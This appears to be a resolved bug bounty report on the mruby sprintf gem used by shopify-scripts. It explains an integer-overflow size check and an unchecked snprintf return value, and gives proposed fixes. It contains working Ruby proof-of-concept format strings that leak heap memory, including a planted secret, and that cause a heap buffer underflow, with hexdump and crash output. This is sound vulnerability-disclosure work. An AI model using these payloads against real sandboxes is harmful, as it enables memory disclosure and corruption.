Loading HuntDB...

sprintf gem - format string combined attack

None
S
shopify-scripts
Submitted None
Reported by aerodudrizzt

Vulnerability Details

Technical details and impact analysis

In the sprintf gem, NOT included in mruby-engine, there are severe vulnerabilities, including information leak, and heap buffer overflow. Here are the technical details. Technical Error 1: ============== The ```CHECK(l)``` macro can sometimes receive negative values, that will bypass the size checks, since the resize loop is: ```cpp #define CHECK(l) do {\ /* int cr = ENC_CODERANGE(result);*/\ while ((l) >= bsiz - blen) {\ bsiz*=2;\ }\ mrb_str_resize(mrb, result, bsiz);\ /* ENC_CODERANGE_SET(result, cr);*/\ buf = RSTRING_PTR(result);\ } while (0) ``` One example for reaching a negative "l" value is in the "G" format when the width is "2 ** 31 - 20", causing ```need``` to be ```MIN_INT```: ```cpp if ((flags&FWIDTH) && need < width) need = width; need += 20; CHECK(need); n = snprintf(&buf[blen], need, fbuf, fval); blen += n; ``` Proposed Fix: ------------------- Since there are several such IOFs, the best fix will be a robust check inside the macro itself. The macro should add another check to raise an exception in case ```l < 0```. Technical Error 2: ============== Still in the "G" format, in case of a huge width, the ```snprintf``` call will fail, returning ```-1```: ```cpp n = snprintf(&buf[blen], need, fbuf, fval); blen += n; ``` This means that we can decrement ```blen``` by 1 for each such format primitive. Information Leak PoC Script: ------------------------------------------ ```ruby secret_password = "thisismysuperdupersecretpassword" f = 1234567890.12345678 unique = sprintf("% 2147483628G", f) sample1 = "1" * 50 sample2 = "2" * 100 sample3 = "3" * 200 print unique.length print unique ``` On 32bit machines, the ```mrb_str_resize(-1)``` will create a string of length ```-1``` with a data buffer realloced with size 0 (= -1 + 1). The resulting output is: ``` hexdump sprintf_leak.bin 0000000 312d 0000 0000 0000 0000 0000 0000 0000 0000010 0000 0000 0000 0000 0000 0000 0000 0000 * 0000080 0000 0000 0000 0039 0000 3131 3131 3131 0000090 3131 3131 3131 3131 3131 3131 3131 3131 * 00000b0 3131 3131 3131 3131 3131 3131 0000 0071 00000c0 0000 3232 3232 3232 3232 3232 3232 3232 00000d0 3232 3232 3232 3232 3232 3232 3232 3232 * 0000120 3232 3232 3232 0000 0000 0000 0000 00d1 0000130 0000 3333 3333 3333 3333 3333 3333 3333 0000140 3333 3333 3333 3333 3333 3333 3333 3333 * 00001f0 3333 3333 3333 3333 3333 0000 0000 05c9 0000200 0000 ca20 b76f ca20 b76f ebd8 095d ebd8 0000210 095d 0000 0000 0000 0000 0000 0000 0000 0000220 0000 0000 0000 0000 0000 0000 0000 0000 * 00007c0 0000 05c8 0000 0010 0000 001b 0000 0001 00007d0 0000 e048 095d 0029 0000 6874 7369 7369 00007e0 796d 7573 6570 6472 7075 7265 6573 7263 00007f0 7465 6170 7373 6f77 6472 0000 0000 0021 0000800 0000 0810 0000 e2c0 0959 0000 0000 0020 0000810 0000 e0f0 095d f200 095d 0000 0000 0029 0000820 0000 6874 7369 7369 796d 7573 6570 6472 0000830 7075 7265 6573 7263 7465 6170 7373 6f77 0000840 6472 0000 0000 0019 0000 2025 3132 3734 0000850 3834 3633 3832 0047 0000 0000 0000 0021 0000860 0000 0810 0000 e2c0 0959 0000 0000 000d 0000870 0000 e108 095d f260 095d 0000 0000 0019 0000880 0000 2025 3132 3734 3834 3633 3832 0047 0000890 0000 0000 0000 0021 0000 8010 0001 e2c0 00008a0 0959 0000 0000 0031 0000 0000 0000 0000 00008b0 0000 0000 0000 0021 0000 8010 0001 e2c0 00008c0 0959 0000 0000 0032 0000 0000 0000 0000 00008d0 0000 0000 0000 0021 0000 8010 0001 e2c0 00008e0 0959 0000 0000 0033 0000 0000 0000 0000 00008f0 0000 0000 0000 dd31 0001 0000 0000 0000 0000900 0000 0000 0000 0000 0000 0000 0000 0000 * 0001000 ``` And a close look will tell us that: * The print of ```unique.length``` returned ```-1```: 0x2d, 0x31 * Our "secret password" can be found at the last memory block of the dump. Heap buffer underflow PoC Script: --------------------------------------------------- ```ruby f = 1234567890.12345678 format = "% 2147483628G" * 10 + "!!!!!!!!!!!" str1 = "1" * 120 unique = sprintf(format, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f, f) print str1 ``` Decrementing ```blen``` 10 times, will result in a buffer underflow of 10 bytes, that will write '!' on the ```str1```, as can be seen in the dump: ``` *** Error in `./mruby': double free or corruption (out): 0x09905b30 *** ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x67257)[0xb7530257] /lib/i386-linux-gnu/libc.so.6(+0x6d577)[0xb7536577] /lib/i386-linux-gnu/libc.so.6(+0x6dd31)[0xb7536d31] ./mruby[0x804c81b] ./mruby[0x80593f5] ./mruby[0x8052760] ./mruby[0x805a3a0] ./mruby[0x80596bb] ./mruby[0x80596f8] ./mruby[0x804ce4d] ./mruby[0x8049762] ./mruby[0x8049c48] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb74e1637] ./mruby[0x80491d1] ======= Memory map: ======== 08048000-080ed000 r-xp 00000000 08:01 2883651 /XXX/mruby/bin/mruby 080ed000-080ee000 r--p 000a4000 08:01 2883651 /XXX/mruby/bin/mruby 080ee000-080ef000 rw-p 000a5000 08:01 2883651 /XXX/mruby/bin/mruby 098c0000-09924000 rw-p 00000000 00:00 0 [heap] b7300000-b7321000 rw-p 00000000 00:00 0 b7321000-b7400000 ---p 00000000 00:00 0 b7495000-b74b1000 r-xp 00000000 08:01 656726 /lib/i386-linux-gnu/libgcc_s.so.1 b74b1000-b74b2000 rw-p 0001b000 08:01 656726 /lib/i386-linux-gnu/libgcc_s.so.1 b74c8000-b74c9000 rw-p 00000000 00:00 0 b74c9000-b7678000 r-xp 00000000 08:01 656688 /lib/i386-linux-gnu/libc-2.23.so b7678000-b7679000 ---p 001af000 08:01 656688 /lib/i386-linux-gnu/libc-2.23.so b7679000-b767b000 r--p 001af000 08:01 656688 /lib/i386-linux-gnu/libc-2.23.so b767b000-b767c000 rw-p 001b1000 08:01 656688 /lib/i386-linux-gnu/libc-2.23.so b767c000-b767f000 rw-p 00000000 00:00 0 b767f000-b76d2000 r-xp 00000000 08:01 656758 /lib/i386-linux-gnu/libm-2.23.so b76d2000-b76d3000 r--p 00052000 08:01 656758 /lib/i386-linux-gnu/libm-2.23.so b76d3000-b76d4000 rw-p 00053000 08:01 656758 /lib/i386-linux-gnu/libm-2.23.so b76e9000-b76ec000 rw-p 00000000 00:00 0 b76ec000-b76ee000 r--p 00000000 00:00 0 [vvar] b76ee000-b76ef000 r-xp 00000000 00:00 0 [vdso] b76ef000-b7711000 r-xp 00000000 08:01 656660 /lib/i386-linux-gnu/ld-2.23.so b7711000-b7712000 rw-p 00000000 00:00 0 b7712000-b7713000 r--p 00022000 08:01 656660 /lib/i386-linux-gnu/ld-2.23.so b7713000-b7714000 rw-p 00023000 08:01 656660 /lib/i386-linux-gnu/ld-2.23.so bff43000-bff64000 rw-p 00000000 00:00 0 [stack] 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!!Aborted (core dumped) ``` Proposed Fix: -------------------- Should check the return value of ```snprintf``` for errors, instead of directly using it by adding it to ```blen```.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted